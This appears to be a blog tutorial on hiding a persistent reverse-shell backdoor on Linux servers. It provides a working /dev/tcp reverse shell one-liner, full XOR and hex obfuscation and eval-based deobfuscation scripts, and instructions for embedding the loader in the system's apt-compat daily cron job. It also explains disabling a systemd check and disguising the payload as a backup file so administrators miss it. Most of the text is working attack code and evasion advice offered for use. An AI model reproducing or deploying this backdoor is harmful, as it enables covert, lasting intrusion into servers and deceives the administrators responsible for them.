In the ever-evolving cybersecurity landscape, Bash code obfuscation has emerged as a formidable technique employed by adversaries seeking to conceal their malicious intent. By transforming code into an unreadable form, obfuscated Bash code can seamlessly hide within legitimate scripts on Linux servers, making it a potent tool for creating covert backdoors.
This blog post will explore the intricacies of Bash code obfuscation, and how you can create your own obfuscated backdoor in Linux.
Linux Bash Backdoors
Creating a basic Bash backdoor in Linux is very simple. For example, I want the Linux system to run the below command, which will open a reverse shell back to my attacking system at IP 10.90.0.100 on port 9001.
bash -i >& /dev/tcp/10.90.0.100/9001 0>&1
That code is very simple but is a functioning backdoor. This basic command will be our core backdoor method payload within our obfuscated Bash code. That leaves two other challenges, which are as follows.
- Hiding the backdoor from server administrators.
- Periodically re-running the code to restart the backdoor if a connection is lost.
An Obfuscated Bash Backdoor Methodology
To stay well hidden from a server administrator, we must design a method of loading our Bash code obfuscation backdoor payload that is not straightforward. We are intentionally trying to make our code hard to follow.
So the method of storing and executing the Bash backdoor payload will flow like this.
- On the attacker’s system, have a Bash script that will take in a payload string, obfuscate the payload and save the obfuscated payload to a “data.dat” file.
- Copy the “data.dat” file to the victim’s Linux server to the “/tmp”, or somewhere like “/var/backups/”.
- Hide the deobfuscate function in a script on the victim’s server that runs periodically, like “/etc/bash.bashrc”, or a cronjob. The deobfuscate function will pull in the “data.dat” payload.
When building a backdoor, you need to think like a systems administrator. Consider you are a Linux server administrator, and you find a “data.dat” file filled with what looks like random data in the “/var/backups/” directory. Are you going to assume it is malicious and delete that file? You’ll likely assume it is a backup of something important you don’t know about and leave it.
Separating the deobfuscation function from the obfuscated payload helps conceal eaches malicious intent. I still find Bash functions that are part of the core OS I don’t initially understand or know what it is for, even with a decade of Linux experience. There are also non-malicious files with blobs of data I cannot read in Linux OSs. However, having difficult-to-read Bash functions and a big blob of unreadable data(text) in the same file immediately sets off red flags. This is why we want to separate the payload from the deobfuscation and execution bash code.
Obfuscating Payloads With Encoding
Encoding is the process of transforming text from one form to another; it is not encryption. Encoding the backdoor code will make it less obvious that the code is malicious. I want to use several different Bash code obfuscation encoding methods to hide our backdoor from server admins. I will not use any Base64 encoding because it is lazy, and so played out. Any admin worth his salt will spot Base64 and know its malware.
Creating a Bash Backdoor Encoding Process
So now that we have established the method of how the backdoor will function, we need to outline the obfuscation process. Outlining every step of the encoding process will make it easy to code later. This means building the custom encoding process from start to finish. To create an outline of the data encoding process, we will use CyberChef.
You can build your own with CyberChef. Remember that not all types of encoding methods work well or are possible in Bash.
Here is the payload encoding process I will use.
Here is the encoding breakdown.
- Plain text, converted to..
- Hex with a “\x” delimiter, converted to..
- Charcode with a “;” delimiter, in base 16
- Xor(bitwise) the Charcode with a key of “42”, finally converted to..
- Binary with a “;” delimiter in 8 bytes and saved to the “data.dat” file
The encoding methods I chose are based on a few factors. One key factor is Bash has some limitations when converting data from one type to another. For example, Charcode base 16 is just a two-digit number representing a character, and that two-digit number is much easier to Xor and has consistent results in Bash. Bash’s Xor-ing function will produce null bytes if you Xor non-numerical values, breaking payloads and scripts. I also intentionally have Hex as the first encoding step, which will be the last in the deobfuscation process. Hex code with “\x” delimiters can be directly passed to the “eval” command and executed. So the deobfuscation process never fully converts back to plain text.
Encoding Data in Bash
There are so many ways to write a Bash script to encode data. So many that I wouldn’t try to explain them here. My best advice is to use tools like Google, StackOverflow, or even ChatGPT and ask how to transform data from one type to another in Bash. You’re an IT person; 95% of our job is just Googling how to do stuff. That same thing applies here too!
Convert a string to Hex in Bash?
Google it!
$> echo -n ‘whoami’ | xxd -p
https://stackoverflow.com/questions/5724761/ascii-hex-convert-in-bash
The most basic example of Bash code obfuscation is data encoding in Base64. I would never use Base64 for obfuscating data, but it is an easy-to-follow example. So I include it here as a demonstration.
In the example, I take the string “whoami” and encode it in Base64(Line 1). I put the Base64 encoded data into the “$b64” variable(Line 2). Lastly, I decode the Base64 string and pass it to the “eval” command to execute on the command line(Line 4).
So from here, you could very easily turn this concept into a Bash function. A Bash function that contains a hidden command never clearly written in the code.
#!/bin/bash
# A Bash function to take in Base64 encoded string, decode it and execute it.
my_function(){
$b64="${1}"
eval $"$(echo -n ${b64} | base64 -d )" 2>/dev/null
}
# Run the function with this string.
my_function 'd2hvYW1pCg=='
exit 0
Tips For Writing Bash Encoding Functions.
- Apply the Living-off-the-land principle. Only use tools or commands that are built into the OS and Bash. Your backdoor code should never rely on a non-default package being installed.
- Look out for carriage returns and new lines. Most Bash commands will add a carriage return(\r) or new line (\n) to their output. This can break processes. Use command flags to suppress adding carriage returns. For example, “echo -n”.
- Avoid “echo” and “cat” commands. They are not often used in legitimate scripts and stand out. Use “Here-strings“(<<<) and “Here-file“(<<) instead. For example, don’t do “echo -n $cmd | xxd -r -p” do “xxd -r -p<<<$cmd“. This is shorter and looks more legitimate.
- Delimiters are super important. Some encoding and decoding will not work unless you use the correct delimiters between parts of data. Try changing your delimiter if you cannot get an encoding process to work.
A Custom Bash Obfuscated Backdoor
I took the encoding process I outlined in CyberChef and turned that into code. I used A few tools and a lot of trial and error to get a working script. You can review some of the code below, but the full code is on my GitHub.
I created a detailed and slim version of the obfuscation and deobfuscation functions.
Bash Code Obfuscation Function
#!/bin/bash
obfBd() {
# Variable to store the plain text input
local inputPayload="${1}"
# Variable to store the output file path
local outputFile="./data.dat"
# Colors for output
RED='\033[0;31m'
NC='\033[0m' # No Color
# If "${2}" is empty, or has a value less than 1, then use the default vaolume of 42 for the XOR key. Otherwise, use the value of "${2}" as the XOR key.
if [[ -z "${2}" ]] || [[ "${2}" -lt 1 ]]; then
local xorKey=42
else
local xorKey="${2}"
fi
# XOR function using a bitwise XOR operation.
xor(){
xorKey="$1"
shift
R=""
for i in $@; do
# Xor the decimal with the XOR key. Bitwise XOR operation.
R="$R "$(($i^$xorKey))""
done
# Return the result.
echo "$R"
}
# Convert the plain text input to hex
Hex="$(echo -n "${inputPayload}" | xxd -ps -c 1 | awk -F '\n' '{OFS=":"; for(i=1;i<=NF;i++) printf "%s%s", "\\x"$i, (i==NF)?"":";"}')"
printf "${RED}Hex:${NC}";echo "${Hex}"
# Convert the hex to charcode
Charcode="$(echo -n "${Hex}" | od -An -t x1 | tr ' ' ';' | tr -d '\n')"
printf "${RED}Charcode:${NC} ${Charcode}\n"
# Convert the charcode to decimal
Decimal="$(echo -n "${Charcode}" | while IFS= read -r -n1 char; do printf "%d " "'${char}'"; done)"
printf "${RED}Decimal:${NC} ${Decimal}\n"
# XOR the decimal with the XOR key
Xor="$(xor "${xorKey}" "${Decimal}" | sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//')"
printf "${RED}XOR Decimal:${NC} ${Xor}\n"
# Convert the XOR'd decimal to binary
Binary="$(echo -n "${Xor}" | xxd -b -c1 | awk '{print $2}' | tr '\n' ' ')"
printf "${RED}Binary:${NC} ${Binary}\n"
# Write the binary to the output file
echo -n "${Binary}" > "${outputFile}"
printf "${RED}Obfuscation complete. Output file:${NC} ${outputFile}"
}
# This function is a slimmed down version of the above function. It does not include the intermediate steps.
obfBdSlim() {
if [[ -z "${2}" ]] || [[ "${2}" -lt 1 ]];then k=42;else k="${2}";fi
for i in $(echo -n "${1}"|xxd -ps -c 1|awk -F '\n' '{OFS=":"; for(i=1;i<=NF;i++) printf "%s%s", "\\x"$i, (i==NF)?"":";"}' \
|od -An -t x1|tr ' ' ';'|tr -d '\n'|while IFS= read -r -n1 c; do printf "%d " "'${c}'";done); do R="$R (($i^$k))";done
sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//'<<<"$R"|xxd -b -c1|awk '{print $2}'|tr '\n' ' ' >"./data.dat"
}
# Run the obfBd function with the payload and the XOR key as arguments.
obfBd "${1}" "${2}"
# Run the obfBdSlim function with the payload and the XOR key as arguments.
obfBdSlim "${1}" "${2}"
Here is the function obfuscating the command “whoami” and storing the obfuscated data in a “data.dat” file.
Note how I used “\x” delimiters on the Hex code, “;”(semicolon) delimiters on the Charcode, and a space delimiter for the rest. The right delimiters for different data types are key because Bash has many limitations.
Bash Code Deobfuscation Function
#!/bin/bash
deobfBd() {
# Get the contents of the binary file, which is the payload.
Binary="$(cat "${1}")"
# The XOR key used to encrypt the payload.
# If "${2}" is empty, or has a value less than 1, then use the default vaolume of 42 for the XOR key. Otherwise, use the value of "${2}" as the XOR key.
if [[ -z "${2}" ]] || [[ "${2}" -lt 1 ]]; then
local xorKey=42
else
local xorKey="${2}"
fi
# Colors for output
RED='\033[0;31m'
NC='\033[0m' # No Color
# XOR function using a bitwise XOR operation.
xor(){
xorKey="$1"
shift
R=""
for i in $@; do
# Xor the decimal with the XOR key. Bitwise XOR operation.
R="$R "$(($i^$xorKey))""
done
# Return the result.
echo "$R"
}
# Output the binary to show the contents of the binary file.
printf "${RED}Binary:${NC} ${Binary}\n"
# Convert the binary to Xor-ed decimal.
XorDecimal="$(for a in ${Binary} ; do printf "%x" $((2#$a)); done | xxd -r -p)"
printf "${RED}XOR Decimal:${NC} ${XorDecimal}\n"
# Convert the Xor-ed decimal to decimal.
Decimal="$(xor ${xorKey} "${XorDecimal}" | sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//')"
printf "${RED}Decimal:${NC} ${Decimal}\n"
# Convert the decimal to charcode.
Charcode="$(awk '{for (i=1; i<=NF; i++) printf "%c", $i}'<<<"${Decimal}")"
printf "${RED}Charcode:${NC} ${Charcode}\n"
# Convert the charcode to hex.
Hex="$(sed 's/;/\n/g' <<<"${Charcode}" | sed '/^$/d' | sed 's/^0x//g' | xargs -I{} printf "\\x{}")"
printf "${RED}Hex:${NC}";echo "${Hex}"
# Convert the hex to plain text. This is not needed, only here for demonstration purposes. Eval can read the hex code as a string and execute it as a command.
PlainText="$(echo -e "${Hex}")"
printf "${RED}PlainText:${NC} ${PlainText}\n"
# Run the hex code as a command. This will execute the payload. Eval can read the hex code as a string and execute it as a command. The "&" at the end of the command will run the command in the background.
eval $"$(echo -e "${Hex}")" &
}
# This function is a slimmed down version of the above function. It does not include the intermediate steps.
deobfBdSlim() {
x(){ K=$1;shift;R="";for i in $@; do R="$R $(($i^$K))";done;echo "$R";}
eval $"$(echo -e "$(sed 's/;/\n/g' <<<"$(awk '{for (i=1; i<=NF; i++) printf "%c", $i}'<<<\
"$(x "${2}" "$(for a in $(cat "${1}");do printf "%x" $((2#$a));done|xxd -r -p)"\
|sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//')")"|sed '/^$/d'|sed 's/^0x//g'|xargs -I{} printf "\\x{}")")" &
}
# Run the function with the binary file as the first argument, and the XOR key as the second argument.
deobfBd "${1}" "42"
# Run the slimmed down function with the binary file as the first argument, and the XOR key as the second argument.
deobfBdSlim "${1}" "42"
Here is the deobfuscate function running the “./data.dat” file with the payload of “whoami.” You can see the last line of the console output is the result of the “whoami” command.
Lastly, here is the backdoor payload running through the deobfuscation process and running on my system. Since the IP in the payload is not actually running a listener, the payload connection times out. However, this confirms our POC is working as expected.
Embedding A Backdoor in Known System Functions
Our last goal is to hide the deobfuscate and execute function within a known good script on a Ubuntu system. This script should be one that would regularly execute by default. There are many scripts to choose from, but I will use a cron script to keep it simple. So I will embed my backdoor in a function within the random_sleep()” function of the “/etc/cron.daily/apt-compat” script.
The cron script I chose will only run once daily; this works fine for my use case. This backdoor is meant to be a backup encase the initial access method is patched, and we cannot get back in. The more frequently we run the backdoor, the higher likelihood it is noticed.
Below is the original unaltered function from the script for reference.
# randon sleep function copied from the deafult apt periodic script found in /etc/cron.daily/apt-compat
random_sleep()
{
RandomSleep=1800
eval $(apt-config shell RandomSleep APT::Periodic::RandomSleep)
if [ $RandomSleep -eq 0 ]; then
return
fi
if [ -z "$RANDOM" ] ; then
# A fix for shells that do not have this bash feature.
RANDOM=$(( $(dd if=/dev/urandom bs=2 count=1 2> /dev/null | cksum | cut -d' ' -f1) % 32767 ))
fi
TIME=$(($RANDOM % $RandomSleep))
sleep $TIME
}
I also like this function because it already has an “eval” command; hopefully, this makes our “eval” command look more legit.
New Function With Backdoor
Here is my version of the “random_sleep()” function from the “/etc/cron.daily/apt-compat” script merged with the backdoor code. When the function runs, it will open my prebuilt obfuscated “/var/backups/aptdata.dat” file containing the reverse shell payload.
random_sleep()
{
RandomSleep=1800
x() { K=$1; shift; R=""; for i in $@; do R="$R $(($i^$K))"; done; echo "$R"; }
eval $(apt-config shell RandomSleep APT::Periodic::RandomSleep)
eval $"$(echo -e "$(sed 's/;/\n/g' <<<"$(awk '{for (i=1; i<=NF; i++) printf "%c", $i}'<<<\
"$(x 42 "$(for a in $(cat /var/backups/aptdata.dat);do printf "%x" $((2#$a));done|xxd -r -p)"|\
sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//')")"|sed '/^$/d'|sed 's/^0x//g'|\
xargs -I{} printf "\\x{}")")" 2>/dev/null &
if [ $RandomSleep -eq 0 ]; then
return
fi
if [ -z "$RANDOM" ] ; then
# A fix for shells that do not have this bash feature.
RANDOM=$(( $(dd if=/dev/urandom bs=2 count=1 2> /dev/null | cksum | cut -d' ' -f1) % 32767 ))
fi
TIME=$(($RANDOM % $RandomSleep))
sleep $TIME
}
To get this code to run as part of the daily cron jobs, we must do the following in the “/etc/cron.daily/apt-compat” script.
- Change the script interpreter to “#!/bin/bash” instead of “#!/bin/sh”.
Explanation: In Ubuntu, using “#!/bin/sh” interpreter will run our script using the Dash shell. The Dash shell does not operate the same way Bash does. So deobfuscation and execution code will not run correctly in Dash. This is why we must change the script to use the Bash interpreter. - Bypass the “systemd timer” check. Change the “if” statement on line 10 to “if [ -d /run/systemd/systemd ]; then” from “if [ -d /run/systemd/system ]; then.”
Explanation: Since about Ubuntu V16, “systemd timer” has been preferred over cron. The “if” statement checks if the “systemd timer” directory exists; if it does, the script will exit. So we need to alter the “if” statement to check for a folder that does not exist. I just added a “d” to the end of the directory name. - Replace the “random_sleep()” function.
Testing Our Backdoor
To ensure our backdoor works, we can manually run the “/etc/cron.daily/apt-compat” script on the victim system. Note how when we run the backdoor, there are no output messages and no indication of what is happening. However, if we run the “ss”(new version of netstat) command we can see the backdoor is connected.
On our Attacker system, we can see that the backdoor successfully ran and made the victim system connect to us.
TLDR: Bash Obfuscated Backdoors
Here are my tips when building a Bash backdoor.
- Think like a Systems Administrator; hide your backdoor in existing scripts.
- Blend known good functions with your backdoor code.
- Separate the reverse shell payload from the decoding and execution function. Blobs of encoded data look suspect!
- Use CyberChef to design and tweak data encoding methods when designing the obfuscation process.
- Don’t use Base64. It’s stupidly obvious that it is malicious.
You can find the Bash backdoors I created on my GitHub.
Leave a Reply